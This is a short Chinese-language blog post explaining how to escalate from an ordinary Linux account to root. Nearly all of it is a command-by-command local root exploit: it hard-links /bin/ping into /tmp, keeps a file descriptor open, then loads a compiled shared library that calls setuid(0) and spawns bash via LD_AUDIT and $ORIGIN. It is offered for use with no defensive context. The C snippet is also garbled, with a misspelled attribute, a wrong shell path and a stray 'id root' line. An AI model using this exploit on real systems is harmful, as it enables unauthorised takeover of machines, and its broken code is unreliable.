linux提权命令–linux怎么普通帐号提root权限呢?

linux怎么提权限

如果拿 到linux普通帐号了怎么提成root权限

ll -d /tmp/
drwxrwxrwt. 31 root root 4096 Jun 5 18:51 /tmp/

cd /tmp/

mkdir exploit

ln /bin/ping /tmp/exploit/target

ll !$

exec 3< /tmp/exploit/target

ll /proc/$$/fd/3

rm -rf /tmp/exploit/

ll /proc/$$/fd/3

vim payload.c

void __attributo__((constructor)) init()
{
setuid(0);
system(“/bin/bash/”);
}
id root

gcc -w -fPIC -shared -o /tmp/exploit payload.c

ll /tmp/exploit

LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*